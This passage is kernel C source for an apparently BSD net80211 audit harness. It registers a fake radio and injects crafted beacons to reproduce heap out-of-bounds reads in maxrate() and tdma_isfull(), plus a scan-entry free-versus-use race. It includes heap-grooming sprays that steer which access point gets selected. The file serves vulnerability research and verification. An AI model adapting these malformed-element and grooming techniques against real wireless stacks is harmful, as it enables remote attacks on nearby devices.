/* * fwscan.c -- software net80211 radio + beacon-injection harness for the * ieee80211_scan_sta.c pass-2 audit (DF-3363 / DF-3364 / DF-3365). * * Registers a fake wifi radio "fws0" (like DF-3282's fw.c) that supports * STA and AHDEMO(+TDMA) operation, then injects fully attacker-controlled * beacon frames through the exact production path a real radio uses: * * ieee80211_parse_beacon() -> ieee80211_add_scan() -> sta_add() * -> ieee80211_ies_init() [saves the RAW IE blob verbatim] * -> ss_ops->scan_end() -> sta_pick_bss/adhoc_pick_bss * -> select_bss -> ieee80211_ies_expand -> match_bss/sta_compare * -> maxrate() / tdma_isfull() [the OOB read sinks] * * There is no authentication of beacon/probe-response frames in 802.11: * anything an attacker within radio range transmits reaches this code. * The injection below is byte-for-byte equivalent to over-air reception. * * sysctls: * fwscan.mkvap 1 = create STA vap "wlan9" * 2 = create AHDEMO+TDMA vap "wlan9" (needs C_TDMA radio) * fwscan.test test selector: * 1 = DF-3363 main: 0xff-groom + B(trailing HTCAP len=0) * 2 = DF-3363 ctrl: 0x00-groom + B(trailing HTCAP len=0) * 3 = DF-3363 ctrl: 0xff-groom + B(valid 26B zero HTCAP) * 11 = DF-3364 main: 0xff-groom + C(TDMA IE slotcnt=255) * 12 = DF-3364 ctrl: 0x00-groom + C(TDMA IE slotcnt=255) * 13 = DF-3364 ctrl: 0xff-groom + C(TDMA IE slotcnt=8) * fwscan.race seconds to run the DF-3365 free-vs-use race (0=off) * fwscan.spray groom spray count (default 96) */ /* module-local config (opt_wlan.h generation is unreliable for kmods) */ #define IEEE80211_SUPPORT_TDMA 1 #define IEEE80211_SUPPORT_MESH 1 #include "opt_wlan.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef IEEE80211_SUPPORT_TDMA #include #endif struct fw_vap { struct ieee80211vap fw_vap; int (*fw_newstate)(struct ieee80211vap *, enum ieee80211_state, int); }; #define FW_VAP(vap) ((struct fw_vap *)(vap)) struct fw_softc { struct ieee80211com sc_ic; int fw_running; }; static int fw_newstate(struct ieee80211vap *, enum ieee80211_state, int); static struct ieee80211vap * fw_vap_create(struct ieee80211com *, const char [IFNAMSIZ], int, enum ieee80211_opmode, int, const uint8_t [IEEE80211_ADDR_LEN], const uint8_t [IEEE80211_ADDR_LEN]); static void fw_vap_delete(struct ieee80211vap *); static void fw_parent(struct ieee80211com *); static int fw_raw_xmit(struct ieee80211_node *, struct mbuf *, const struct ieee80211_bpf_params *); static int fw_transmit(struct ieee80211com *, struct mbuf *); static void fw_nop_ic(struct ieee80211com *); static struct fw_softc *fw_sc = NULL; static int fw_test; /* sysctl fwscan.test */ static int fw_race; /* sysctl fwscan.race */ static int fw_spray = 96; /* sysctl fwscan.spray */ static volatile int fw_race_stop; static int fw_newstate(struct ieee80211vap *vap, enum ieee80211_state nstate, int arg) { struct fw_vap *nvp = FW_VAP(vap); return nvp->fw_newstate(vap, nstate, arg); } static struct ieee80211vap * fw_vap_create(struct ieee80211com *ic, const char name[IFNAMSIZ], int unit, enum ieee80211_opmode opmode, int flags, const uint8_t bssid[IEEE80211_ADDR_LEN], const uint8_t mac[IEEE80211_ADDR_LEN]) { struct fw_vap *nvp; struct ieee80211vap *vap; switch (opmode) { case IEEE80211_M_STA: case IEEE80211_M_AHDEMO: case IEEE80211_M_IBSS: if (!TAILQ_EMPTY(&ic->ic_vaps)) { kprintf("fwscan: only 1 vap supported\n"); return NULL; } break; default: kprintf("fwscan: opmode %d not supported\n", opmode); return NULL; } nvp = kmalloc(sizeof(struct fw_vap), M_80211_VAP, M_WAITOK | M_ZERO); vap = &nvp->fw_vap; ieee80211_vap_setup(ic, vap, name, unit, opmode, flags, bssid); nvp->fw_newstate = vap->iv_newstate; vap->iv_newstate = fw_newstate; ieee80211_ratectl_init(vap); ieee80211_vap_attach(vap, ieee80211_media_change, ieee80211_media_status, mac); ic->ic_opmode = opmode; kprintf("fwscan: vap %s (%s) created\n", vap->iv_ifp->if_xname, opmode == IEEE80211_M_STA ? "STA" : (opmode == IEEE80211_M_AHDEMO ? ((vap->iv_caps & IEEE80211_C_TDMA) ? "AHDEMO+TDMA" : "AHDEMO") : "IBSS")); return vap; } static void fw_vap_delete(struct ieee80211vap *vap) { struct fw_vap *nvp = FW_VAP(vap); ieee80211_ratectl_deinit(vap); ieee80211_vap_detach(vap); kfree(nvp, M_80211_VAP); } static void fw_parent(struct ieee80211com *ic) { struct fw_softc *sc = ic->ic_softc; int startall = 0; if (ic->ic_nrunning > 0) { if (!sc->fw_running) { sc->fw_running = 1; startall = 1; } } else sc->fw_running = 0; if (startall) ieee80211_start_all(ic); } static int fw_raw_xmit(struct ieee80211_node *ni, struct mbuf *m, const struct ieee80211_bpf_params *params) { if (params != NULL) ; m_freem(m); ieee80211_free_node(ni); return 0; } static int fw_transmit(struct ieee80211com *ic, struct mbuf *m) { struct mbuf *n; while (m != NULL) { n = m->m_nextpkt; m->m_nextpkt = NULL; if (m->m_pkthdr.rcvif != NULL) ieee80211_tx_complete( (struct ieee80211_node *)m->m_pkthdr.rcvif, m, 0); else m_freem(m); m = n; } return 0; } static void fw_nop_ic(struct ieee80211com *ic) { } /* * ---------------------------------------------------------------- -- * beacon injection: byte-for-byte what a driver hands up from the air * ---------------------------------------------------------------- -- */ static const uint8_t bcast[IEEE80211_ADDR_LEN] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; static void hexdump16(const char *tag, const uint8_t *p, int n) { int i; kprintf("%s", tag); for (i = 0; i < n; i++) kprintf("%02x%s", p[i], (i % 16 == 15 || i == n-1) ? "\n" : " "); } /* * ies must already contain SSID/RATES/DSPARMS consistent with curchan. * Returns parse status (0 == fully accepted). */ static int inject_beacon(struct ieee80211vap *vap, const uint8_t mac[IEEE80211_ADDR_LEN], const uint8_t bssid[IEEE80211_ADDR_LEN], uint16_t capinfo, int rssi, const uint8_t *ies, int ies_len) { struct ieee80211com *ic = vap->iv_ic; struct ieee80211_node *ni = vap->iv_bss; struct ieee80211_scanparams sp; struct mbuf *m; uint8_t *p; int status, try; for (try = 0; try < 6; try++) { if (ic->ic_curchan == NULL || ic->ic_curchan->ic_freq == 0) { tsleep(&fw_test, 0, "fwcur", hz / 10); continue; } m = m_gethdr(M_WAITOK, MT_DATA); p = mtod(m, uint8_t *); memset(p, 0, 24); p[0] = IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_BEACON; p[1] = 0; /* flags */ IEEE80211_ADDR_COPY(p + 4, bcast); /* addr1 */ IEEE80211_ADDR_COPY(p + 10, mac); /* addr2 = SA */ IEEE80211_ADDR_COPY(p + 16, bssid); /* addr3 = BSSID */ p += 24; memset(p, 0, 8); /* tstamp */ p[8] = 100; p[9] = 0; /* bintval 100 TU */ p[10] = (uint8_t)capinfo; /* capinfo (le) */ p[11] = (uint8_t)(capinfo >> 8); p += 12; memcpy(p, ies, ies_len); m->m_len = m->m_pkthdr.len = 24 + 12 + ies_len; status = ieee80211_parse_beacon(ni, m, ic->ic_curchan, &sp); if (status == 0) { ieee80211_add_scan(vap, ic->ic_curchan, &sp, mtod(m, struct ieee80211_frame *), IEEE80211_FC0_SUBTYPE_BEACON, rssi, -95); m_freem(m); return 0; } kprintf("fwscan: %s parse status 0x%x try %d (sp.chan %u " "bchan %u)\n", ether_sprintf(mac), status, try, sp.chan, sp.bchan); m_freem(m); if ((status & ~IEEE80211_BPARSE_OFFCHAN) == 0) { /* only the curchan race: retry */ tsleep(&fw_test, 0, "fwcur", hz / 20); continue; } return status; } return -1; } /* append an IE, return new tail pointer */ static uint8_t * put_ie(uint8_t *p, uint8_t id, uint8_t len, uint8_t fill) { int i; *p++ = id; *p++ = len; for (i = 0; i < len; i++) *p++ = fill; return p; } /* * Build the standard prefix every accepted beacon needs: * SSID(4) + RATES(n) + DSPARMS(cur chan) * Returns tail; *lenp updated. */ static uint8_t * put_prefix(uint8_t *p, int *lenp, int chan_ieee, const uint8_t *rates, int nr) { int i; *p++ = IEEE80211_ELEMID_SSID; *p++ = 4; *p++ = 'f'; *p++ = 'w'; *p++ = 's'; *p++ = '1'; *p++ = IEEE80211_ELEMID_RATES; *p++ = nr; for (i = 0; i < nr; i++) *p++ = rates[i]; *p++ = IEEE80211_ELEMID_DSPARMS; *p++ = 1; *p++ = chan_ieee; *lenp += 6 + 2 + nr + 3; return p; } /* * Iterate callback: dump each cache entry, and for entries carrying a * short htcap/tdma IE print the exact bytes maxrate()/tdma_isfull() * will read -- including the ones beyond the end of the blob. */ struct dump_ctx { int n; }; static void dump_entry(void *arg, const struct ieee80211_scan_entry *se) { struct dump_ctx *d = arg; const uint8_t *ie; d->n++; kprintf("fwscan: entry[%d] mac %s rssi %d blob %p len %u\n", d->n, ether_sprintf(se->se_macaddr), se->se_rssi, se->se_ies.data, se->se_ies.len); kprintf(" blob tail (last 8 bytes): "); hexdump16("", se->se_ies.data + se->se_ies.len - 8, 8); kprintf(" bytes at blob_end..+15 (OOB for a trailing short IE): "); hexdump16("", se->se_ies.data + se->se_ies.len, 16); ie = se->se_ies.htcap_ie; if (ie != NULL) { int off = ie - se->se_ies.data; kprintf(" htcap_ie: off %d, ie_len %u, bytes from IE end " "to blob end: %d\n", off, ie[1], (int)se->se_ies.len - (off + 2 + ie[1])); kprintf(" maxrate reads IE+2..IE+17 (18 bytes):\n "); hexdump16(" ", ie + 2, 18); } ie = se->se_ies.tdma_ie; if (ie == NULL) { /* expand happens lazily inside select_bss; do it now so we * can trace what match_bss/tdma_isfull will read */ ieee80211_ies_expand(__DECONST(struct ieee80211_ies *, &se->se_ies)); ie = se->se_ies.tdma_ie; } if (ie != NULL) { int off = ie - se->se_ies.data; kprintf(" tdma_ie: off %d, ie_len %u, slotcnt %u inuse %02x\n", off, ie[1], ie[9], ie[13]); if (ie[9] > 8) { int last = 13 + ((ie[9] - 1) >> 3); kprintf(" tdma_isfull will read tdma_inuse[0..%d] " "(bytes %d..%d of blob, blob len %u):\n", (ie[9] - 1) >> 3, last, last, se->se_ies.len); hexdump16(" ", se->se_ies.data, se->se_ies.len); kprintf(" beyond-blob bytes (the OOB source):\n"); hexdump16(" ", se->se_ies.data + se->se_ies.len, 33); /* trace the actual walk tdma_isfull() performs */ { int slot, cleared = -1; for (slot = ie[9] - 1; slot >= 0; slot--) { const uint8_t *inuse = ie + 13; if ((inuse[slot >> 3] & (1 << (slot & 7))) == 0) { cleared = slot; break; } } kprintf(" walk-trace: first clear slot = %d " "(%s) => tdma_isfull returns %s\n", cleared, cleared >= 8 && (13 + (cleared >> 3)) >= (int)se->se_ies.len ? "OOB-derived" : "in-bounds", cleared >= 0 ? "NOT-full" : "full"); } } } } static struct ieee80211vap * first_vap(void) { struct fw_softc *sc = fw_sc; if (sc == NULL) return NULL; return TAILQ_FIRST(&sc->sc_ic.ic_vaps); } /* * Groom: allocate fw_spray blobs of exactly 64 bytes whose content is * `fill', then flush the cache. Freed 64-byte chunks retain their * content, so a subsequent 64-byte blob allocation lands between * groom-filled neighbours. */ static void groom64(struct ieee80211vap *vap, int chan_ieee, uint8_t fill) { uint8_t ies[128]; uint8_t mac[IEEE80211_ADDR_LEN]; uint8_t *p; int len, i, pad; for (i = 0; i < fw_spray; i++) { len = 0; p = put_prefix(ies, &len, chan_ieee, (const uint8_t []){ 0x82 }, 1); /* vendor pad to make blob exactly 64 bytes, filled */ pad = 64 - len - 2; p = put_ie(p, IEEE80211_ELEMID_VENDOR, pad, fill); len += 2 + pad; KKASSERT(len == 64); mac[0] = 0x02; mac[1] = 0xaa; mac[2] = 0x00; mac[3] = 0x00; mac[4] = i >> 8; mac[5] = i & 0xff; if (inject_beacon(vap, mac, mac, 0x0001, 30, ies, len) != 0) kprintf("fwscan: groom beacon %d parse failed!\n", i); } ieee80211_scan_flush(vap); kprintf("fwscan: groom done (%d x 64B blobs, fill 0x%02x, flushed)\n", fw_spray, fill); } static void report_join(struct ieee80211vap *vap) { if (vap->iv_bss != NULL) kprintf("fwscan: post-selection iv_bss mac %s bssid %s\n", ether_sprintf(vap->iv_bss->ni_macaddr), ether_sprintf(vap->iv_bss->ni_bssid)); else kprintf("fwscan: post-selection iv_bss NULL\n"); } /* * DF-3363: maxrate() heap OOB read via short trailing HTCAP IE. * * A = 02:11:11:11:11:11, 54 Mbps legacy, no HT IE -> maxrate = 108 * B = 02:22:22:22:22:22, 5.5 Mbps legacy, trailing HTCAP len=0 in a * blob that is EXACTLY 64 bytes -> maxrate's reads at IE+2..IE+17 * run 1..16 bytes past the kmalloc(64) blob; groom bytes decide * whether B looks like a phantom MCS31 HT40 AP (B wins) or not. */ static void run_htcap_oob(int variant) { struct ieee80211vap *vap = first_vap(); struct ieee80211com *ic; struct ieee80211_scan_state *ss; struct dump_ctx d; uint8_t iesA[64], iesB[80]; uint8_t macA[6] = { 0x02, 0x11, 0x11, 0x11, 0x11, 0x11 }; uint8_t macB[6] = { 0x02, 0x22, 0x22, 0x22, 0x22, 0x22 }; uint8_t *p; int len, chan_ieee, res; if (vap == NULL || vap->iv_opmode != IEEE80211_M_STA) { kprintf("fwscan: need a STA vap " "(ifconfig wlan create wlandev fws0 wlanmode sta up)\n"); return; } ic = vap->iv_ic; ss = ic->ic_scan; chan_ieee = ieee80211_chan2ieee(ic, ic->ic_curchan); wlan_serialize_enter(); ieee80211_scan_flush(vap); ss->ss_flags &= ~(IEEE80211_SCAN_NOPICK | IEEE80211_SCAN_NOJOIN | IEEE80211_SCAN_GOTPICK); ss->ss_ops->scan_start(ss, vap); /* sta_start */ groom64(vap, chan_ieee, variant == 2 ? 0x00 : 0xff); /* A: SSID+RATES(1,2,5.5,11,54)+DSPARMS = 6+7+3 = 16 bytes blob */ len = 0; p = put_prefix(iesA, &len, chan_ieee, (const uint8_t []){ 0x82, 0x84, 0x8b, 0x96, 0x6c }, 5); KKASSERT(len == 16); if (inject_beacon(vap, macA, macA, 0x0001, 30, iesA, len) != 0) kprintf("fwscan: beacon A parse FAILED\n"); /* B: SSID+RATES(1,2,5.5)+DSPARMS + VENDOR pad + HTCAP(len 0 or 26) * blob must be EXACTLY 64 bytes. */ len = 0; p = put_prefix(iesB, &len, chan_ieee, (const uint8_t []){ 0x82, 0x84, 0x8b }, 3); if (variant == 3) { p = put_ie(p, IEEE80211_ELEMID_VENDOR, 64 - len - 2 - 28, 0xff); len += 2 + (64 - len - 2 - 28); *p++ = IEEE80211_ELEMID_HTCAP; *p++ = 26; /* valid len */ memset(p, 0, 26); p += 26; len += 28; } else { p = put_ie(p, IEEE80211_ELEMID_VENDOR, 64 - len - 2 - 2, 0xff); len += 2 + (64 - len - 2 - 2); *p++ = IEEE80211_ELEMID_HTCAP; *p++ = 0; /* len 0! */ len += 2; } KKASSERT(len == 64); if (inject_beacon(vap, macB, macB, 0x0001, 30, iesB, len) != 0) kprintf("fwscan: beacon B parse FAILED\n"); /* * Neighbor spray: allocate MANY live 64-byte blobs filled with * `fill' AFTER B's blob exists, so the chunk physically following * B's blob (the memory maxrate reads out-of-bounds) is one of * these with near-certainty, independent of allocator ordering. */ { uint8_t iesE[80]; uint8_t macE[6]; int lenE, i, padE; for (i = 0; i < fw_spray; i++) { lenE = 0; p = put_prefix(iesE, &lenE, chan_ieee, (const uint8_t []){ 0x82 }, 1); padE = 64 - lenE - 2; p = put_ie(p, IEEE80211_ELEMID_VENDOR, padE, variant == 2 ? 0x00 : 0xff); lenE += 2 + padE; KKASSERT(lenE == 64); macE[0] = 0x02; macE[1] = 0xee; macE[2] = 0x00; macE[3] = 0x00; macE[4] = i >> 8; macE[5] = i & 0xff; if (inject_beacon(vap, macE, macE, 0x0001, 20, iesE, lenE) != 0) kprintf("fwscan: neighbor spray %d FAILED\n", i); } kprintf("fwscan: neighbor spray done (%d live 64B blobs, " "fill 0x%02x)\n", fw_spray, variant == 2 ? 0x00 : 0xff); } /* * Re-inject A and B: the background scan loop bumps se_notseen on * entries not re-seen during its cycles, which would fail them * with MATCH_NOTSEEN nondeterministically. A re-inject re-marks * the entry seen (and re-copies the identical blob). */ if (inject_beacon(vap, macA, macA, 0x0001, 30, iesA, 16) != 0) kprintf("fwscan: beacon A re-inject FAILED\n"); if (inject_beacon(vap, macB, macB, 0x0001, 30, iesB, 64) != 0) kprintf("fwscan: beacon B re-inject FAILED\n"); d.n = 0; ieee80211_scan_iterate(vap, dump_entry, &d); kprintf("fwscan: --- calling ss_ops->scan_end (sta_pick_bss) ---\n"); IEEE80211_LOCK(ic); /* taskq scan_end context */ res = ss->ss_ops->scan_end(ss, vap); IEEE80211_UNLOCK(ic); kprintf("fwscan: scan_end -> %d\n", res); report_join(vap); wlan_serialize_exit(); } #ifdef IEEE80211_SUPPORT_TDMA /* * DF-3364: tdma_isfull()/match_bss() heap OOB read via TDMA vendor IE * with unvalidated slot count. * * C = 02:33:33:33:33:33, TDMA master beacon (slot 0, version 2), * inuse[0] = 0xff (all 8 legal slots busy), slotcnt = 255 (or 8 for the * control). With slotcnt=255 tdma_isfull scans tdma_inuse bits 8..254, * i.e. blob bytes 14..44 -- past the end of the exactly-64-byte blob; * groom bytes decide full (C rejected) vs not-full (C joined). */ static void run_tdma_oob(int variant) { struct ieee80211vap *vap = first_vap(); struct ieee80211com *ic; struct ieee80211_scan_state *ss; struct dump_ctx d; uint8_t ies[128]; uint8_t macC[6] = { 0x02, 0x33, 0x33, 0x33, 0x33, 0x33 }; uint8_t *p; int len, chan_ieee, res, pad; if (vap == NULL || vap->iv_opmode != IEEE80211_M_AHDEMO || (vap->iv_caps & IEEE80211_C_TDMA) == 0 || vap->iv_tdma == NULL) { kprintf("fwscan: need an AHDEMO+TDMA vap " "(ifconfig wlan create wlandev fws0 wlanmode tdma up)\n"); return; } ic = vap->iv_ic; ss = ic->ic_scan; chan_ieee = ieee80211_chan2ieee(ic, ic->ic_curchan); kprintf("fwscan: vap tdma version %u slotcnt %u\n", vap->iv_tdma->tdma_version, vap->iv_tdma->tdma_slotcnt); wlan_serialize_enter(); ieee80211_scan_flush(vap); /* * NOJOIN: adhoc_pick_bss runs the full selection (select_bss -> * match_bss -> tdma_isfull) and RETURNS whether a candidate * matched (scan_end != 0) without joining (the TDMA join state * machine needs real driver timing and would hang this fake radio). */ ss->ss_flags &= ~(IEEE80211_SCAN_NOPICK | IEEE80211_SCAN_GOTPICK); ss->ss_flags |= IEEE80211_SCAN_NOJOIN; ss->ss_ops->scan_start(ss, vap); /* adhoc_start */ groom64(vap, chan_ieee, variant == 12 || variant == 15 || variant == 16 ? 0x00 : 0xff); /* D: live 64-byte blob occupying the chunk AFTER C's blob */ { uint8_t iesD[80]; uint8_t macD[6] = { 0x02, 0x55, 0x55, 0x55, 0x55, 0x55 }; int lenD = 0, padD; p = put_prefix(iesD, &lenD, chan_ieee, (const uint8_t []){ 0x82 }, 1); padD = 64 - lenD - 2; p = put_ie(p, IEEE80211_ELEMID_VENDOR, padD, variant == 12 || variant == 15 || variant == 16 ? 0x00 : 0xff); lenD += 2 + padD; KKASSERT(lenD == 64); if (inject_beacon(vap, macD, macD, 0x0000, 30, iesD, lenD) != 0) kprintf("fwscan: beacon D parse FAILED\n"); } /* C: prefix + VENDOR pad + TDMA IE (2+12=14) = 64 * rates include 11M: the TDMA vap pins ucastrate=2*11 (fixed). */ len = 0; p = put_prefix(ies, &len, chan_ieee, (const uint8_t []){ 0x82, 0x84, 0x8b, 0x96 }, 4); pad = 64 - len - 2 - (variant == 17 ? 24 : 14); p = put_ie(p, IEEE80211_ELEMID_VENDOR, pad, 0xff); len += 2 + pad; /* TDMA param IE */ p[0] = IEEE80211_ELEMID_VENDOR; p[1] = variant == 17 ? 22 : 12; p[2] = 0x00; p[3] = 0x03; p[4] = 0x7f; /* ATH/TDMA OUI */ p[5] = 0x02; /* TDMA_OUI_TYPE */ p[6] = 0x01; /* SUBTYPE_PARAM */ p[7] = 0x02; /* version 2 */ p[8] = 0x00; /* slot 0 = master */ if (variant == 17) { /* full-length TDMA param IE (tdma_len = 22) */ p[0] = IEEE80211_ELEMID_VENDOR; p[1] = 22; p[2] = 0x00; p[3] = 0x03; p[4] = 0x7f; p[5] = 0x02; p[6] = 0x01; p[7] = 0x02; p[8] = 0x00; p[9] = 8; /* slotcnt */ p[10] = 0x10; p[11] = 0x27; p[12] = 5; p[13] = 0x00; /* inuse */ memset(p + 14, 0, 8); /* pad + tstamp */ p += 24; len += 24; } else { p[9] = variant == 13 || variant == 16 ? 8 : (variant == 14 ? 8 : 255); /* slotcnt */ p[10] = 0x10; p[11] = 0x27; /* slotlen */ p[12] = 5; /* bintval */ p[13] = variant == 14 || variant == 15 ? 0x00 : 0xff; p += 14; len += 14; } KKASSERT(len == 64); if (inject_beacon(vap, macC, macC, 0x0000, 30, ies, len) != 0) kprintf("fwscan: beacon C parse FAILED\n"); /* * Neighbor spray AFTER C: cover the chunk(s) following C's blob -- * tdma_isfull reads up to 30 bytes past the blob end. */ { uint8_t iesE[80]; uint8_t macE[6]; int lenE, i, padE; for (i = 0; i < fw_spray; i++) { lenE = 0; p = put_prefix(iesE, &lenE, chan_ieee, (const uint8_t []){ 0x82 }, 1); padE = 64 - lenE - 2; p = put_ie(p, IEEE80211_ELEMID_VENDOR, padE, variant == 12 || variant == 15 || variant == 16 ? 0x00 : 0xff); lenE += 2 + padE; KKASSERT(lenE == 64); macE[0] = 0x02; macE[1] = 0xee; macE[2] = 0x00; macE[3] = 0x00; macE[4] = i >> 8; macE[5] = i & 0xff; if (inject_beacon(vap, macE, macE, 0x0000, 20, iesE, lenE) != 0) kprintf("fwscan: neighbor spray %d FAILED\n", i); } kprintf("fwscan: neighbor spray done (%d live 64B blobs, " "fill 0x%02x)\n", fw_spray, variant == 12 || variant == 15 || variant == 16 ? 0x00 : 0xff); } /* re-inject C: defeat the background scan's se_notseen bumping */ if (inject_beacon(vap, macC, macC, 0x0000, 30, ies, 64) != 0) kprintf("fwscan: beacon C re-inject FAILED\n"); d.n = 0; ieee80211_scan_iterate(vap, dump_entry, &d); kprintf("fwscan: --- calling ss_ops->scan_end (adhoc_pick_bss, " "NOJOIN) ---\n"); IEEE80211_LOCK(ic); /* taskq scan_end context */ res = ss->ss_ops->scan_end(ss, vap); IEEE80211_UNLOCK(ic); kprintf("fwscan: scan_end -> %d (%s: tdma_isfull read %s bytes " "past the blob and saw %s slots)\n", res, res ? "C ACCEPTED" : "C REJECTED", "OOB", res ? "free" : "all-in-use"); report_join(vap); /* second dump: did anything change between the two reads? */ d.n = 1000; ieee80211_scan_iterate(vap, dump_entry, &d); wlan_serialize_exit(); } #endif /* IEEE80211_SUPPORT_TDMA */ /* * DF-3365: entry-lifetime race. * * Thread 1 (this sysctl context, holds the wlan serializer -- exactly the * locking discipline of the driver rx path): loops beacon injection for * one MAC with PICK1ST armed and rssi=1 (match_bss always fails, so every * single sta_add() executes the unlocked match_bss() tail at * ieee80211_scan_sta.c:403 after TABLE_UNLOCK at :397). * * Thread 2 (a kernel thread with NO serializer -- exactly the locking * discipline of ieee80211_node_timeout()->ieee80211_scan_timeout()-> * scan_age()/sta_flush(): table lock only): loops cache flushes, freeing * the entry Thread 1 is match_bss()ing. */ struct fw_race_ctx { struct ieee80211com *ic; }; static void fw_flusher_thread(void *arg) { struct fw_race_ctx *rc = arg; struct ieee80211_scan_state *ss = rc->ic->ic_scan; kprintf("fwscan: flusher thread up (NO wlan serializer, " "table-lock-only discipline, like node_timeout/scan_age)\n"); while (!fw_race_stop) { if (ss->ss_ops != NULL) ss->ss_ops->scan_flush(ss); /* sta_flush */ tsleep(&fw_race_stop, 0, "fwflsh", 1); } kprintf("fwscan: flusher thread done\n"); wakeup(&fw_race); lwkt_exit(); } static void run_race(int seconds) { struct ieee80211vap *vap = first_vap(); struct ieee80211com *ic; struct ieee80211_scan_state *ss; struct fw_race_ctx rc; thread_t td; uint8_t ies[64]; uint8_t macR[6] = { 0x02, 0x44, 0x44, 0x44, 0x44, 0x44 }; uint8_t *p; int len, chan_ieee, i, iters = 0; u_long deadline; if (vap == NULL || vap->iv_opmode != IEEE80211_M_STA) { kprintf("fwscan: race needs the STA vap\n"); return; } ic = vap->iv_ic; ss = ic->ic_scan; chan_ieee = ieee80211_chan2ieee(ic, ic->ic_curchan); len = 0; p = put_prefix(ies, &len, chan_ieee, (const uint8_t []){ 0x82 }, 1); wlan_serialize_enter(); ss->ss_flags |= IEEE80211_SCAN_PICK1ST; /* arm the :403 tail */ ss->ss_flags &= ~(IEEE80211_SCAN_GOTPICK | IEEE80211_SCAN_NOPICK | IEEE80211_SCAN_NOJOIN); wlan_serialize_exit(); fw_race_stop = 0; rc.ic = ic; if (lwkt_create(fw_flusher_thread, &rc, &td, NULL, 0, 0, "fwflush") != 0) { kprintf("fwscan: lwkt_create failed\n"); return; } deadline = ticks + seconds * hz; kprintf("fwscan: racing injector vs flusher for %ds...\n", seconds); wlan_serialize_enter(); while ((long)(ticks - deadline) < 0) { for (i = 0; i < 50; i++) { /* rssi 1 < STA_RSSI_MIN(8): match fails, GOTPICK * never set, the unlocked match_bss tail runs on * EVERY beacon */ if (inject_beacon(vap, macR, macR, 0x0001, 1, ies, len) != 0) break; iters++; } /* let the flusher breathe on this cpu too */ tsleep(&fw_race_stop, 0, "fwinj", 1); } wlan_serialize_exit(); fw_race_stop = 1; tsleep(&fw_race, 0, "fwstop", hz); kprintf("fwscan: race finished: %d injections survived " "(no panic => window not hit or hit silently)\n", iters); } /* * ---------------------------------------------------------------- -- * sysctl front-ends * ---------------------------------------------------------------- -- */ static int fw_test_sysctl(SYSCTL_HANDLER_ARGS) { struct fw_softc *sc = fw_sc; int error, v = fw_test; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return error; fw_test = v; if (v == 0 || sc == NULL) return 0; kprintf("fwscan: ===== TEST %d START =====\n", v); switch (v) { case 1: case 2: case 3: run_htcap_oob(v); break; #ifdef IEEE80211_SUPPORT_TDMA case 11: case 12: case 13: case 14: case 17: case 15: case 16: run_tdma_oob(v); break; #endif default: kprintf("fwscan: unknown test %d\n", v); break; } return 0; } SYSCTL_PROC(_kern, OID_AUTO, fwscan_test, CTLTYPE_INT | CTLFLAG_RW, 0, 0, fw_test_sysctl, "I", "fwscan: run test N"); static int fw_race_sysctl(SYSCTL_HANDLER_ARGS) { int error, v = fw_race; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return error; fw_race = v; if (v > 0) run_race(v); return 0; } SYSCTL_PROC(_kern, OID_AUTO, fwscan_race, CTLTYPE_INT | CTLFLAG_RW, 0, 0, fw_race_sysctl, "I", "fwscan: run entry-lifetime race N sec"); static int fw_mkvap_sysctl(SYSCTL_HANDLER_ARGS) { int error, v = 0; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return error; /* * Vaps MUST be created through the ifconfig clone path (it holds * the wlan serializer): * ifconfig wlan create wlandev fws0 wlanmode sta up * ifconfig wlan create wlandev fws0 wlanmode tdma up */ kprintf("fwscan: create vaps with: ifconfig wlan create wlandev " "fws0 wlanmode sta|tdma up\n"); return 0; } SYSCTL_PROC(_kern, OID_AUTO, fwscan_mkvap, CTLTYPE_INT | CTLFLAG_RW, 0, 0, fw_mkvap_sysctl, "I", "fwscan: create vap (1=STA 2=AHDEMO+TDMA)"); static int fw_spray_sysctl(SYSCTL_HANDLER_ARGS) { int error, v = fw_spray; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return error; if (v > 0 && v <= 4096) fw_spray = v; return 0; } SYSCTL_PROC(_kern, OID_AUTO, fwscan_spray, CTLTYPE_INT | CTLFLAG_RW, 0, 0, fw_spray_sysctl, "I", "fwscan: groom spray count"); static int fw_modevent(module_t mod, int type, void *data) { struct fw_softc *sc; struct ieee80211com *ic; uint8_t bands[IEEE80211_MODE_BYTES]; switch (type) { case MOD_LOAD: sc = kmalloc(sizeof(struct fw_softc), M_DEVBUF, M_WAITOK | M_ZERO); ic = &sc->sc_ic; ic->ic_softc = sc; ic->ic_name = "fws0"; ic->ic_opmode = IEEE80211_M_STA; ic->ic_phytype = IEEE80211_T_DS; ic->ic_caps = IEEE80211_C_STA | IEEE80211_C_IBSS | IEEE80211_C_AHDEMO | IEEE80211_C_HOSTAP | IEEE80211_C_MONITOR | IEEE80211_C_SHPREAMBLE | IEEE80211_C_SHSLOT | IEEE80211_C_TDMA /* TDMA-capable radio */ | IEEE80211_C_TXFRAG ; /* 11b + 11g channel set */ memset(bands, 0, sizeof(bands)); setbit(bands, IEEE80211_MODE_11B); setbit(bands, IEEE80211_MODE_11G); ieee80211_init_channels(ic, NULL, bands); /* * Keep exactly ONE channel: the background scanner then * never moves curchan and beacon DSPARMS always matches. */ ic->ic_nchans = 1; kprintf("fwscan: single channel: ieee %u freq %u flags 0x%x\n", ic->ic_channels[0].ic_ieee, ic->ic_channels[0].ic_freq, ic->ic_channels[0].ic_flags); ic->ic_macaddr[0] = 0x02; ic->ic_macaddr[1] = 0x00; ic->ic_macaddr[2] = 0x00; ic->ic_macaddr[3] = 0x00; ic->ic_macaddr[4] = 0x00; ic->ic_macaddr[5] = 0xf3; ic->ic_vap_create = fw_vap_create; ic->ic_vap_delete = fw_vap_delete; ic->ic_parent = fw_parent; ic->ic_raw_xmit = fw_raw_xmit; ic->ic_transmit = fw_transmit; ic->ic_scan_start = fw_nop_ic; ic->ic_scan_end = fw_nop_ic; ic->ic_set_channel = fw_nop_ic; ic->ic_updateslot = fw_nop_ic; ieee80211_ifattach(ic); fw_sc = sc; kprintf("fwscan: fake wifi radio attached (fws0)\n"); return 0; case MOD_UNLOAD: sc = fw_sc; if (sc == NULL) return 0; if 